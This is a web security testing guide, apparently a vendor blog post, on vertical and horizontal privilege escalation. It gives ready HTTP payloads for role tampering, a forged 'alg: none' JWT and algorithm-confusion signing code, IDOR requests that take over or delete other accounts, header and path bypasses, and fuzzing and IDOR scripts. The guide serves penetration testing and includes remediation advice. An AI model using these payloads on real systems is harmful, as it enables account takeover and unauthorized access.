Privilege Escalation Testing in Web Applications: Vertical and Horizontal Access Control
Privilege escalation is one of the most impactful vulnerability classes in web applications. Unlike injection flaws that corrupt data, or XSS that hijacks sessions, privilege escalation attacks the authorization model directly — allowing attackers to act as other users, assume administrative roles, or access resources they were never meant to see. The consequences range from data exposure affecting a single account to complete application compromise.
The category splits into two distinct patterns with different root causes, different testing approaches, and different remediation strategies. Vertical privilege escalation is about roles — a lower-privilege user gaining access to higher-privilege functionality. Horizontal privilege escalation is about ownership — a user at the same privilege level accessing another user's resources. Both are covered under OWASP A01 (Broken Access Control), and both are routinely found even in applications with otherwise mature security postures.
This guide walks through concrete testing techniques for each class, with real HTTP examples, Burp Suite workflows, bypass techniques, and automation approaches.
Vertical Privilege Escalation: Testing for Role Escalation
Vertical escalation occurs when an application's authorization checks are missing, inconsistent, or bypassable — allowing a standard user to reach functionality reserved for admins, managers, or other elevated roles. The root cause is almost always one of three things: the check is missing entirely, it's applied only at the UI layer, or it relies on client-supplied data to determine the role.
Parameter Tampering for Role Escalation
Applications that encode role information in request parameters are directly exploitable by modifying those parameters. This pattern is more common than you'd expect — particularly in older codebases and applications that evolved from single-role systems.
Look for parameters like role, is_admin, account_type, user_type, or access_level in any request body, query string, or cookie. When you find one, replay the request with escalated values:
# Original request — standard user registration
POST /api/users/register HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <user-token>
{
"username": "attacker",
"email": "attacker@example.com",
"password": "Password123!",
"role": "user"
}
# Tampered request — attempt admin role assignment
POST /api/users/register HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <user-token>
{
"username": "attacker",
"email": "attacker@example.com",
"password": "Password123!",
"role": "admin"
}
Also check profile update endpoints. Applications that allow users to update their own profile may have exposed role fields that the server fails to strip before persisting:
PATCH /api/users/profile HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <user-token>
{
"display_name": "John",
"bio": "Security researcher",
"is_admin": true,
"account_type": "enterprise"
}
If the server responds with a 200 and the updated profile reflects the changed values, the escalation succeeded. Follow up by attempting to access admin-only endpoints with the same session.
Forced Browsing to Admin Endpoints
Missing function-level access control is one of the most consistently overlooked vulnerability patterns. Developers sometimes assume that endpoints not linked from the UI are effectively hidden. They aren't — and these endpoints often have weaker authorization because the assumption of obscurity led developers to skip the check.
The testing approach is direct: enumerate potential admin paths using wordlists, then attempt access with a low-privilege session.
# Use ffuf to enumerate admin paths with a standard user session
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u https://app.example.com/FUZZ \
-H "Authorization: Bearer <user-token>" \
-mc 200,201,301,302,403 \
-o admin-enum-results.json
# Common admin path patterns to try manually
GET /admin HTTP/1.1
GET /admin/users HTTP/1.1
GET /admin/dashboard HTTP/1.1
GET /api/admin/users HTTP/1.1
GET /api/v1/admin/settings HTTP/1.1
GET /management/users HTTP/1.1
GET /internal/metrics HTTP/1.1
GET /debug/config HTTP/1.1
Pay particular attention to a 403 response versus a 404. A 403 confirms the endpoint exists and the server recognized the request as unauthorized. A 401 means the request reached an authorization check. Either of these is a signal worth probing — try the same request with different sessions, with no Authorization header, and with HTTP method variations.
JWT Manipulation to Escalate Roles
JSON Web Tokens are a common vector for vertical escalation when the application encodes role or permission claims inside the token and fails to enforce those claims server-side, or when the signature verification is weak.
The first thing to check is the alg claim. The none algorithm attack removes the signature entirely — if the server accepts unsigned tokens, any claim in the payload can be modified without detection:
# Original JWT header.payload.signature
# Decode the header:
# {"alg":"HS256","typ":"JWT"}
# Decode the payload:
# {"sub":"12345","email":"user@example.com","role":"user","iat":1750000000,"exp":1750086400}
# Craft a none-algorithm token:
# New header: {"alg":"none","typ":"JWT"}
# New payload: {"sub":"12345","email":"user@example.com","role":"admin","iat":1750000000,"exp":1750086400}
# Signature: (empty)
# Base64url-encode each part and concatenate with dots:
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NSIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc1MDAwMDAwMCwiZXhwIjoxNzUwMDg2NDAwfQ.
GET /api/admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NSIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc1MDAwMDAwMCwiZXhwIjoxNzUwMDg2NDAwfQ.
The second attack is algorithm confusion (RS256 → HS256). If the server uses RS256 (asymmetric) but also accepts HS256 (symmetric), you can sign a modified token using the server's public key as the HMAC secret — since the public key is, by definition, public:
# Get the server's public key (often exposed at /.well-known/jwks.json)
curl https://app.example.com/.well-known/jwks.json
# Use jwt_tool to perform the algorithm confusion attack
python3 jwt_tool.py <original-token> -X a -pk server-public-key.pem
# Manually with Python:
import jwt
import json
import base64
payload = {
"sub": "12345",
"email": "user@example.com",
"role": "admin",
"iat": 1750000000,
"exp": 1750086400
}
with open("public_key.pem", "r") as f:
public_key = f.read()
# Sign with HS256 using the public key as the secret
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
print(forged_token)
Privilege Escalation via API Parameter Injection
REST APIs that accept JSON bodies sometimes process fields the client was never intended to supply. This is closely related to mass assignment but specific to admin-flag injection — sending extra fields that trigger elevated behavior on the server.
# Probe an account creation endpoint for injectable admin flags
POST /api/v2/accounts HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <user-token>
{
"name": "Test Account",
"email": "test@example.com",
"plan": "starter",
"admin": true,
"superuser": true,
"bypass_mfa": true,
"permissions": ["read", "write", "delete", "admin"],
"account_level": 99
}
# Also try nested objects — some frameworks bind nested properties
{
"name": "Test Account",
"user": {
"role": "admin",
"is_staff": true,
"is_superuser": true
}
}
Check the response body carefully — if the server echoes back the created object and it reflects any of the injected fields, investigate whether those fields are persisted and whether they affect subsequent authorization decisions.
Horizontal Privilege Escalation: Testing for IDOR and Same-Role Data Access
Horizontal escalation does not require gaining a higher role. It requires accessing data or taking actions that belong to a different user at the same privilege level. The root cause is a missing ownership check — the server verifies that the user is authenticated, but not that the user owns the resource being accessed.
User ID Enumeration in API Calls
The most direct horizontal escalation test: replace your user ID in a request with another user's ID. Create two test accounts (Account A and Account B), authenticate as Account A, then replay Account A's requests substituting Account B's identifiers.
# Account A's request — fetching own profile
GET /api/users/1001/profile HTTP/1.1
Host: app.example.com
Authorization: Bearer <account-a-token>
# Horizontal escalation attempt — fetching Account B's profile with Account A's session
GET /api/users/1002/profile HTTP/1.1
Host: app.example.com
Authorization: Bearer <account-a-token>
# Test write operations too — not just reads
PUT /api/users/1002/email HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <account-a-token>
{"email": "attacker@evil.com"}
# Account deletion
DELETE /api/users/1002 HTTP/1.1
Host: app.example.com
Authorization: Bearer <account-a-token>
Do not stop at user IDs. Enumerate all resource identifiers in the application: order IDs, invoice IDs, document IDs, ticket IDs, message thread IDs, file IDs. Every resource that carries an ownership relationship is a candidate for IDOR testing.
Predictable and Sequential Resource Identifiers
Applications that use sequential integers or weakly randomized identifiers make horizontal escalation trivial to exploit at scale. Even a single confirmed IDOR finding with sequential IDs means an attacker can iterate through the entire dataset.
# Test for sequential IDs by observing your own resources
# If your invoice is at /api/invoices/10047, try:
GET /api/invoices/10046 HTTP/1.1
GET /api/invoices/10048 HTTP/1.1
GET /api/invoices/1 HTTP/1.1
# Use Burp Intruder to enumerate a range
# Set payload position: /api/orders/§10000§
# Payload type: Numbers, From 9990, To 10010, Step 1
# Look for 200 responses with different user data in the body
# Also test GUIDs — some applications use UUID v1 which encodes a timestamp
# UUID v1 structure: time_low-time_mid-time_hi_and_version-clock_seq-node
# Neighboring UUIDs in time may belong to different users created around the same time
GET /api/documents/550e8400-e29b-41d4-a716-446655440000 HTTP/1.1
GET /api/documents/550e8400-e29b-41d4-a716-446655440001 HTTP/1.1
Mass Assignment Vulnerabilities
Mass assignment occurs when a framework automatically binds request body parameters to model attributes without an allowlist, and the application exposes fields that should only be set server-side. In the context of horizontal escalation, the interesting fields are ownership attributes — user_id, owner_id, account_id, org_id.
# Creating a document — normal request
POST /api/documents HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <account-a-token>
{"title": "My Document", "content": "Hello world"}
# Mass assignment attempt — assign the document to another user's account
POST /api/documents HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <account-a-token>
{
"title": "My Document",
"content": "Hello world",
"user_id": 1002,
"owner_id": 1002,
"created_by": 1002
}
# Check if the created resource now appears in Account B's document list
GET /api/users/1002/documents HTTP/1.1
Host: app.example.com
Authorization: Bearer <account-b-token>
Mass assignment also enables escalation on update operations. An attacker can reassign their own resource to a victim's account, then update it — effectively writing data into another user's workspace:
# Reassign an existing resource to another user via PATCH
PATCH /api/documents/8891 HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <account-a-token>
{
"title": "Updated title",
"user_id": 1002
}
Accessing Other Users' Resources via Indirect References
Not all IDOR attacks operate on direct ID parameters. Some applications use indirect references — tokens, hashes, slugs, or encoded identifiers — that appear opaque but are derived from predictable values or are exposed in other parts of the application.
# Password reset tokens based on email hash — predictable
GET /api/password-reset/verify?token=5f4dcc3b5aa765d61d8327deb882cf99 HTTP/1.1
# MD5 of "password" — test whether tokens are weak hashes of known values
# File download via filename rather than access-controlled ID
GET /api/files/download?file=invoices/2026/invoice-1002.pdf HTTP/1.1
Authorization: Bearer <account-a-token>
# Shared resource links that don't validate ownership
GET /api/share/abc123def456 HTTP/1.1
# No Authorization header — test whether shared links bypass auth entirely
# Exported data endpoints that don't scope to the requesting user
GET /api/exports/results/job-9988 HTTP/1.1
Authorization: Bearer <account-a-token>
Testing with Burp Suite
Burp Suite is the practical workhorse for privilege escalation testing. The workflow splits across three tools: Proxy for capture, Repeater for manual verification, and the Comparator for detecting subtle response differences that indicate access control failures.
Setting Up Multi-Session Testing
Before testing, configure Burp with sessions for every privilege level in the application. Use the Session Handling Rules to automatically inject the correct session token when replaying requests in different contexts.
- Open Burp and configure your browser to proxy through
127.0.0.1:8080 - Log in as a standard user (Account A). Go to Project options > Sessions > Session Handling Rules, add a rule, and record the macro that fetches Account A's session cookie or Authorization header.
- Open a second browser profile or use Burp's built-in Chromium, log in as Account B (lower privilege or different user), and record a second session macro.
- In Repeater, you can now manually swap between sessions using the "Session handling" dropdown to test the same request across multiple authorization contexts.
Repeater Workflow for IDOR Verification
# Step 1: Capture Account B's resource creation in Proxy
# Note the resource ID returned in the response: {"id": 7734, "title": "B's private note"}
# Step 2: Send Account A's session request to Repeater
GET /api/notes/7734 HTTP/1.1
Host: app.example.com
Authorization: Bearer <account-a-token>
# Step 3: Send and observe response
# 200 with Account B's data = confirmed IDOR
# 403 Forbidden = access control working
# 404 Not Found = may still be IDOR (application hiding existence)
# → verify by requesting a non-existent ID (e.g., /api/notes/99999)
# → if that also returns 404, the 404 on 7734 is suspicious
Using Burp Comparator for Response Diffing
When responses are large or visually similar, the Comparator tool makes it easy to confirm whether an unauthorized request returned actual data versus a sanitized or empty response.
- In Repeater, send the request with Account A's token to the target resource owned by Account B. Right-click the response and select Send to Comparer (response).
- Send the same request with Account B's own token (the authorized request). Right-click and send to Comparator.
- In Comparator, select Words diff view. If both responses contain the same data fields and values, access control is not enforced at the data level — only potentially at the UI.
This is particularly useful when an endpoint returns 200 in both cases (authorized and unauthorized) but you need to confirm whether the response body contains real data or a structured empty state.
Burp's Authorize Extension
The Authorize extension (available through the BApp Store) automates the multi-session replay workflow. Configure it with Account B's session cookie, and it will automatically replay every request captured from Account A's session using Account B's credentials, flagging responses where the status and body indicate successful access.
# Install via Extender > BApp Store > Authorize
# Configuration:
# 1. Intercept Account A's requests in Proxy
# 2. Set Account B's session cookie in the Authorize "Authorization Header" field
# 3. Authorize replays each request with Account B's session
# 4. Green = same response (potential IDOR), Red = different response (access control working)
# 5. Export results for the report
Common Bypass Techniques
Authorization checks are sometimes implemented correctly on the primary request path but fail under specific conditions. Understanding the bypass techniques lets you probe the edges of the implementation.
HTTP Method Override
Some reverse proxies and web frameworks support HTTP method overrides via headers, allowing clients to tunnel a DELETE or PUT request inside a POST. If access control is enforced by HTTP method — "only admins can DELETE" — but the framework processes the override, a non-admin can use POST with an override header to trigger the restricted operation:
# Direct DELETE blocked for non-admins
DELETE /api/users/1002 HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
# Response: 403 Forbidden
# Method override via header — POST accepted, DELETE executed server-side
POST /api/users/1002 HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
X-HTTP-Method-Override: DELETE
Content-Length: 0
# Response: 200 OK (if the framework processes the override)
# Other override headers to test:
X-Method-Override: DELETE
X-HTTP-Method: DELETE
_method=DELETE # URL parameter — used by Rails and some PHP frameworks
Header Injection for Path-Based Access Control Bypass
Some reverse proxy setups implement access control by checking the URL path — blocking requests to /admin/* at the proxy layer. Certain proxy headers can override the path the application sees without changing the path the proxy checks:
# Blocked at proxy: /admin/users
GET /admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
# Response: 403 (blocked by proxy rule on /admin/*)
# X-Original-URL bypass — Symfony, some nginx configurations
GET / HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
X-Original-URL: /admin/users
# The proxy sees GET / (no block rule), the app sees /admin/users
# X-Rewrite-URL — similar effect, IIS and some frameworks
GET / HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
X-Rewrite-URL: /admin/users
# X-Custom-IP-Authorization — bypassing IP-based restrictions
GET /admin/users HTTP/1.1
Host: app.example.com
Authorization: Bearer <user-token>
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
Path Traversal in Authorization Checks
Authorization middleware that checks path prefixes can be bypassed with path normalization tricks. The web framework normalizes the path before routing, but the middleware checks the raw path before normalization:
# Standard blocked path
GET /admin/settings HTTP/1.1
# Response: 403
# Path traversal variations — framework normalizes these to /admin/settings
GET /admin/../admin/settings HTTP/1.1
GET /ADMIN/settings HTTP/1.1 # case-sensitivity bypass
GET /%61dmin/settings HTTP/1.1 # URL encoding: %61 = 'a'
GET /admin%2Fsettings HTTP/1.1 # encoded slash
GET /./admin/settings HTTP/1.1 # dot-segment
GET //admin/settings HTTP/1.1 # double slash
GET /admin/settings/ HTTP/1.1 # trailing slash
GET /api/v1/../../admin/settings HTTP/1.1 # relative traversal from allowed path
Also test whether the application treats paths differently when accessed through an API version prefix — /api/v1/admin/users versus /api/v2/admin/users — since access control middleware may only cover certain route groups.
Automated Testing Approaches
Manual testing is necessary to verify access control logic, but automation handles scale — ensuring every endpoint is checked against every session context, not just the ones you remember to test manually.
Nuclei Templates for Access Control
# Run Nuclei's access-control template category
nuclei -u https://app.example.com \
-t /root/nuclei-templates/vulnerabilities/other/ \
-tags idor,privilege-escalation \
-H "Authorization: Bearer <user-token>" \
-o nuclei-privesc-results.txt
# Custom Nuclei template for IDOR on sequential IDs
# Save as idor-sequential.yaml:
id: idor-sequential-ids
info:
name: IDOR - Sequential ID Enumeration
severity: high
tags: idor,access-control
requests:
- method: GET
path:
- "{{BaseURL}}/api/users/{{id}}"
payloads:
id:
- "1"
- "2"
- "100"
- "1000"
matchers:
- type: word
words:
- "email"
- "username"
condition: and
Python Script for Systematic IDOR Testing
#!/usr/bin/env python3
"""Systematic IDOR tester — verify resource access across two sessions."""
import requests
import json
# Configuration
BASE_URL = "https://app.example.com/api"
SESSION_A = "eyJhbGciOiJIUzI1NiJ9..." # Account A token (attacker)
SESSION_B = "eyJhbGciOiJIUzI1NiJ9..." # Account B token (victim)
ENDPOINTS = [
"/users/{id}/profile",
"/users/{id}/documents",
"/orders/{id}",
"/invoices/{id}",
"/messages/{id}",
]
def test_idor(endpoint_template, victim_id):
url = BASE_URL + endpoint_template.format(id=victim_id)
# Authorized request (Account B accessing own resource)
resp_auth = requests.get(url, headers={"Authorization": f"Bearer {SESSION_B}"})
# Unauthorized request (Account A accessing Account B's resource)
resp_unauth = requests.get(url, headers={"Authorization": f"Bearer {SESSION_A}"})
if resp_auth.status_code == 200 and resp_unauth.status_code == 200:
# Compare response bodies
if resp_auth.text == resp_unauth.text:
print(f"[IDOR CONFIRMED] {url}")
print(f" Authorized: {resp_auth.status_code}")
print(f" Unauthorized: {resp_unauth.status_code}")
return True
else:
print(f"[POSSIBLE IDOR - DIFF RESPONSE] {url}")
elif resp_unauth.status_code == 200 and resp_auth.status_code != 200:
print(f"[ANOMALY] Unauthorized got 200, authorized did not: {url}")
else:
print(f"[OK] {url} - Unauth: {resp_unauth.status_code}")
return False
# Get Account B's resource IDs first
resources = requests.get(
f"{BASE_URL}/users/me/documents",
headers={"Authorization": f"Bearer {SESSION_B}"}
).json()
for doc in resources.get("items", []):
test_idor("/documents/{id}", doc["id"])
ffuf for Admin Endpoint Discovery
# Enumerate admin endpoints with a standard user session
# Any 200 or 302 response is a potential finding
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-u https://app.example.com/api/FUZZ \
-H "Authorization: Bearer <user-token>" \
-H "Content-Type: application/json" \
-mc 200,201,204,301,302 \
-fc 404 \
-t 50 \
-o admin-enum.json \
-of json
# Post-process results to identify admin-pattern paths
cat admin-enum.json | jq '.results[] | select(.url | test("admin|manage|staff|internal|debug|config"))'
Privilege Escalation Testing Checklist
- Create test accounts at every privilege level (admin, manager, standard user, read-only)
- For vertical escalation: replay all admin-only requests with a lower-privilege session
- Check every form and API body for role/privilege parameters and attempt to inject elevated values
- Test JWT tokens:
alg: noneattack, algorithm confusion (RS256 → HS256), payload claim manipulation - Test API endpoints for mass assignment: send extra fields like
is_admin,role,permissions,account_level - For horizontal escalation: substitute your resource IDs with another user's IDs across all CRUD operations
- Test sequential ID ranges with Burp Intruder or a custom script
- Test write/delete operations, not just reads — IDOR on GET is common, IDOR on DELETE is critical
- Test HTTP method overrides:
X-HTTP-Method-Override,_methodparameter - Test path normalization bypasses: encoded characters, double slashes, trailing slashes, case variations
- Test reverse proxy header bypasses:
X-Original-URL,X-Rewrite-URL,X-Forwarded-Forwith localhost addresses - Test all API versions — access control may be inconsistent across v1/v2/v3 prefixes
- Use Burp Authorize extension to automate multi-session replay across the full application
- Enumerate hidden admin endpoints with wordlist-based fuzzing using an authenticated user session
Remediation Patterns
Privilege escalation findings are symptoms of missing or misapplied authorization logic. Fixing individual instances without addressing the root pattern means the same class of bug will appear in every new endpoint added to the application.
For vertical escalation: implement a centralized authorization layer that evaluates role-based permissions server-side, never based on client-supplied values. Use a policy engine (OPA, Casbin, or framework-native RBAC) that defines role capabilities in one place. Strip or ignore any privilege-related fields submitted by the client in create/update operations — the server determines the role from the authenticated session, not from the request body.
For horizontal escalation: every data access operation must include an ownership check. The pattern is: fetch the resource by its primary key, then verify that the owner_id (or user_id, or org_id) matches the authenticated user. Do not rely on the URL structure or a secondary query parameter — the ownership check must be in the query itself or validated immediately after the fetch.
For mass assignment: use explicit allowlists (strong_parameters in Rails, @JsonIgnoreProperties in Spring, Pydantic field definitions in FastAPI) rather than mapping all request fields directly to model attributes. Never allowlist fields that should only be set server-side.
For method override bypasses: disable HTTP method override headers in your framework unless they are explicitly required. In nginx: proxy_method configuration; in Rails: config.action_controller.allow_forgery_protection = true and removing the override middleware from non-form routes.
Ironimo automates privilege escalation detection across your entire app, finding IDOR and access control flaws on every scan. It replays authenticated requests across multiple session contexts, enumerates hidden admin endpoints, and tests JWT token manipulation — using the same Kali Linux toolset professional pentesters run against production applications.
Schedule on-demand or recurring scans. Results include the exact request that reproduced the finding, the response that confirms it, and a remediation path.
Start free scan